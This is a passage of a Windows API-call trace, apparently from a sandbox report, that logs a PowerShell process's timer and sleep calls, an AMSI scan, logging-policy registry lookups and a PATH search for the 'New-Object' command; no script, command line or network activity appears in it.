UnbiasedTime=0x2504e7f188) returned 1 [0156.111] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504e7eb08 | out: UnbiasedTime=0x2504e7eb08) returned 1 [0156.111] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504e7eb08 | out: UnbiasedTime=0x2504e7eb08) returned 1 [0156.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.653] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.675] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.962] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0156.975] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.005] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.048] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.368] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.537] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.627] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.636] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.671] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.675] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.682] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.695] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.733] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.841] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.853] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.914] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.967] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0157.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0158.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0158.051] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0158.054] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0158.081] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0164.189] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0164.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0165.714] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0165.831] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0166.007] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0166.104] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.033] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.075] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.273] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.399] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.472] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0167.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.304] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0168.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) Thread: id = 161 os_tid = 0x1188 [0127.581] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0127.616] RoInitialize () returned 0x1 [0127.616] RoUninitialize () returned 0x0 [0127.617] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x250580ec90*=0x6ac, lpdwindex=0x250580ea64 | out: lpdwindex=0x250580ea64) returned 0x0 [0127.734] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.781] EtwEventRegister () returned 0x0 [0127.781] EtwEventSetInformation () returned 0x0 [0128.457] CoCreateGuid (in: pguid=0x250580eb88 | out: pguid=0x250580eb88*(Data1=0x61b5797b, Data2=0xd497, Data3=0x4144, Data4=([0]=0xa9, [1]=0x80, [2]=0xb9, [3]=0x23, [4]=0xcf, [5]=0x83, [6]=0x61, [7]=0xcd))) returned 0x0 [0128.478] QueryPerformanceCounter (in: lpPerformanceCount=0x250580eaf8 | out: lpPerformanceCount=0x250580eaf8*=22558786803) returned 1 [0128.480] AmsiOpenSession () returned 0x0 [0128.480] AmsiScanString () returned 0x80070015 [0128.592] RoGetParameterizedTypeInstanceIID () returned 0x0 [0128.592] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0128.592] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0132.760] QueryPerformanceCounter (in: lpPerformanceCount=0x250580eab8 | out: lpPerformanceCount=0x250580eab8*=22986971208) returned 1 [0132.784] EtwEventRegister () returned 0x0 [0132.785] EtwEventSetInformation () returned 0x0 [0132.786] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e8a0, nSize=0x80 | out: lpBuffer="똕翹") returned 0x0 [0133.329] EtwEventActivityIdControl () returned 0x0 [0133.329] EtwEventActivityIdControl () returned 0x0 [0133.329] EtwEventActivityIdControl () returned 0x0 [0133.376] EtwEventActivityIdControl () returned 0x0 [0133.376] EtwEventActivityIdControl () returned 0x0 [0133.376] EtwEventActivityIdControl () returned 0x0 [0133.688] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580d800, nSize=0x80 | out: lpBuffer="") returned 0x0 [0133.688] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580d800, nSize=0x80 | out: lpBuffer="") returned 0x0 [0133.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580d850, nSize=0x80 | out: lpBuffer="") returned 0x0 [0133.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e918 | out: phkResult=0x250580e918*=0x0) returned 0x2 [0133.716] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e918 | out: phkResult=0x250580e918*=0x0) returned 0x2 [0133.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\EventLog\\ProtectedEventLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e8a8 | out: phkResult=0x250580e8a8*=0x0) returned 0x2 [0133.717] EtwEventWriteTransfer () returned 0x0 [0133.719] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580d7c0, nSize=0x80 | out: lpBuffer="띣翹") returned 0x0 [0136.877] LocalAlloc (uFlags=0x0, uBytes=0x2374) returned 0x1cbf29fedd0 [0143.433] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e260, nSize=0x80 | out: lpBuffer="塀똗翹") returned 0x0 [0143.437] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x250580e0d0, nSize=0x80 | out: lpBuffer="") returned 0xeb [0143.437] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x250580e000, nSize=0xeb | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0xea [0143.490] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x250580dfc0, nSize=0xeb | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0143.522] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cbd873d080 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0143.527] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x250580dfc0, nSize=0xeb | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0143.529] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x104, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0143.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.529] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.533] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0143.533] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0143.535] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.600] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580d010, nSize=0xeb | out: lpBuffer="￾￿￿￿?Nj") returned 0x0 [0143.600] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0143.600] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0143.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.600] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1 [0143.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.601] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0143.601] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0143.601] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.601] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0143.602] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0143.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.602] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0143.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.602] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0143.602] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0143.602] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.602] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0143.602] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0143.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.602] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x97384b75, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x97384b75, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1 [0143.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.603] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0143.603] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0143.603] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.603] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0143.603] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0143.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.603] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9765981c, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9765981c, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0143.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.604] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0143.604] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0143.604] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0143.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0143.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0143.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0143.605] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0143.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x2e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x2d [0143.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0143.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client" (normalized: "c:\\program files\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9da7422, ftLastAccessTime.dwHighDateTime=0x1d5c566, ftLastWriteTime.dwLowDateTime=0xf9da7422, ftLastWriteTime.dwHighDateTime=0x1d5c566, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0143.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0143.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0143.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x2e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x2d [0143.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client\\New-Object.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 